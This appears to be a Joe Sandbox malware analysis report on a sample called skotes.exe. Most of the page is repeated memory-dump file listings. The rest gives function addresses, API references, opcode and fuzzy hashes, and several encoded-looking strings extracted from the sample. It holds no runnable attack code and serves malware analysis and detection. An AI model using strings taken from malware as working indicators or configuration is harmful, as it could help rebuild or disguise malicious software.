Associated: 00000004.00000002.2263626599.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263655080.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263678518.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263700925.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263724609.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263753280.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263774850.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263800650.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263883332.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263908121.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263931811.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263965502.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263988335.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264016680.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264057290.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 0a2a59d8d5aacc7f3621434a66f5f8d1076655f6088bd508b9e8a694daf60bc5
Instruction ID: 025fdaa9a35f267619ba420cf65ab10c5bd0a672490210887596120e46e0c48d
Opcode Fuzzy Hash: 0a2a59d8d5aacc7f3621434a66f5f8d1076655f6088bd508b9e8a694daf60bc5
Instruction Fuzzy Hash: 5E2197713402049BEB089B68DC85B7EFB62EBC1710F204629E50C977D5CB7A968083A3

Non-executed Functions

Function 005F2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 005F2F5F
GetCurrentThreadId.KERNEL32 ref: 005F2F7E
__Mtx_unlock.LIBCPMT ref: 005F2FCC
__Cnd_broadcast.LIBCPMT ref: 005F2FE3
__Mtx_unlock.LIBCPMT ref: 005F30F5
GetCurrentThreadId.KERNEL32 ref: 005F3132
__Mtx_unlock.LIBCPMT ref: 005F319B

Memory Dump Source

Source File: 00000004.00000002.2262880807.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000004.00000002.2262854107.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262880807.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262954749.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262980082.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263002305.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263119495.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263142006.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263222375.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263245721.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263271215.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263298361.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263327529.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263349333.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263373152.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263397081.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263419462.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263442368.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263465463.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263487583.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263508789.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263534147.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263556940.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263580393.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263604491.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263626599.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263655080.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263678518.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263700925.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263724609.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263753280.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263774850.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263800650.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263883332.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263908121.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263931811.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263965502.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263988335.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264016680.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264057290.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: df1d028eae1bef13619afc3e54d5d745e3b997953e7b2a7b14b46303faedb833
Instruction ID: 10777561a897b31d9a7c79c4be1738e809e477d6fdfbe042f2636759ee1de91b
Opcode Fuzzy Hash: df1d028eae1bef13619afc3e54d5d745e3b997953e7b2a7b14b46303faedb833
Instruction Fuzzy Hash: 0AA1E7B09416099FEB24DF64C845B6BBBB9FF15324F04422EE915D7281EB39DA04CBD1

Function 0062CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0062CC66

Strings

vb, xrefs: 0062CBE1

Memory Dump Source

Source File: 00000004.00000002.2262880807.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000004.00000002.2262854107.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262880807.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262954749.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262980082.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263002305.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263119495.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263142006.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263222375.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263245721.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263271215.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263298361.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263327529.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263349333.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263373152.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263397081.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263419462.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263442368.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263465463.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263487583.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263508789.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263534147.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263556940.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263580393.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263604491.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263626599.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263655080.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263678518.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263700925.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263724609.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263753280.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263774850.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263800650.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263883332.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263908121.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263931811.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263965502.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263988335.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264016680.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264057290.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vb
API String ID: 3213747228-1055410840
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 21abd1d42bf84a7feb39b7d9fac04e2b448b4c2b7210a99b93aa91345aa72b4b
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 7AB15832A00A659FDB15CF28D841BFEBBE6EF45360F15816AE844EB342D6349D02CF94

Function 0060BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0060BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0060BBE4
_xtime_get.LIBCPMT ref: 0060BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0060BC13

Memory Dump Source

Source File: 00000004.00000002.2262880807.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000004.00000002.2262854107.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262880807.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262954749.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262980082.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263002305.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263119495.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263142006.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263222375.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263245721.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263271215.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263298361.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263327529.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263349333.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263373152.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263397081.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263419462.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263442368.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263465463.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263487583.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263508789.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263534147.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263556940.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263580393.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263604491.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263626599.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263655080.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263678518.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263700925.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263724609.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263753280.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263774850.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263800650.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263883332.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263908121.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263931811.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263965502.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263988335.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264016680.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264057290.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 85ab33dd228ecde567b120bdfb3759a6afbe2ab9741ea01ea850cb6d1028f085
Instruction ID: cda47d63e1a8c6ec73fb5afb9e2ce7f9aa5fcc926613e40d54cd5fe4acb82b3a
Opcode Fuzzy Hash: 85ab33dd228ecde567b120bdfb3759a6afbe2ab9741ea01ea850cb6d1028f085
Instruction Fuzzy Hash: C5215175A40119AFDF04EFA4CC819BFB7BAEF09720F105119FA01B7291DB719D019BA5

Function 0062F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0062F3A3

Strings

`'e, xrefs: 0062F375
8"e, xrefs: 0062F44B

Memory Dump Source

Source File: 00000004.00000002.2262880807.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000004.00000002.2262854107.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262880807.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262954749.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262980082.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263002305.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263119495.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263142006.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263222375.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263245721.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263271215.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263298361.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263327529.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263349333.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263373152.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263397081.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263419462.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263442368.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263465463.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263487583.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263508789.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263534147.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263556940.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263580393.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263604491.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263626599.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263655080.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263678518.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263700925.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263724609.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263753280.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263774850.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263800650.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263883332.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263908121.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263931811.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263965502.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263988335.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264016680.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264057290.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"e$`'e
API String ID: 3903695350-2647440560
Opcode ID: 0739625414064321a302ce806620b62dbe40a8b1ed5af7b9e8ebb97ebffe173f
Instruction ID: 9ba7bb5b750b6cd6846220f86bdefed634325c7d7abfe799aea1448b86e91c4a
Opcode Fuzzy Hash: 0739625414064321a302ce806620b62dbe40a8b1ed5af7b9e8ebb97ebffe173f
Instruction Fuzzy Hash: 8F315B31600A21DFEB71AB79E845B9B77FAEF00352F10483DE845D6696DEB0AC808F55

Analysis Process: skotes.exePID: 7836, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	6.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.1%
Total number of Nodes:	1177
Total number of Limit Nodes:	112

Executed Functions

Function 005FE530 Relevance: 25.5, APIs: 2, Strings: 12, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L1e, xrefs: 005FF7E5
WDw=, xrefs: 005FF71D, 005FF9FA
MQ==, xrefs: 005FE592
111, xrefs: 005FF7A0
#, xrefs: 00600624
WTw=, xrefs: 0060097D
MGE+, xrefs: 005FE821
GnNoc2Hc, xrefs: 005FE56C
246122658369, xrefs: 005FF737, 005FFA14, 006005E7, 0060099A
WTs=, xrefs: 006005CA
9c9aa5, xrefs: 005FFB8E
UA==, xrefs: 005FEB0F, 005FED56

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$L1e$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-3134152726
Opcode ID: ebdeb71bd1c9283f2f0de346f7b900ff061f13d8440306c8a4812a5283dfd622
